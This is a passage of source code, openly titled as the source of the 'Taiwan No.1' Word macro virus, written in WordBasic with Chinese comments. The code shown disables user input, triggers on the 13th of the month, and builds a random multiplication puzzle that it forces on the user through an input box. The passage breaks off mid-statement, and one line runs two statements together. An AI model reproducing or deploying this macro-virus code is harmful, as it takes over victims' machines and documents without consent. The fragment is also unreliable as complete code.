Taiwan No.1 病毒原始码

  Dim Shared nm(4)

  Sub MAIN

  DisableInput 1

  If Day(Now()) = 13 Then

  try:

    On Error Goto 0

    On Error Goto try

    test = - 1

    con = 1

    tog$ = ""

    i = 0    While test = - 1

      For i = 0 To 4

        nm(i) = Int(Rnd() * 10000)                             

        con = (con * nm(i))

        If i = 4 Then

          tog$ = tog$ + Str$(nm(4)) + " =?"

          Goto beg

      End If

        tog$ = tog$ + Str$(nm(i)) + " *"

      Next i

      rem 随机选出四个千位数, 以便等一下的游戏

  beg:           

      Beep

      rem 电脑发出" 哔 "一声

      ans$ = InputBox$("今天是 " + Date$() + " ,跟你玩一个心算游戏"

      + Chr$(13)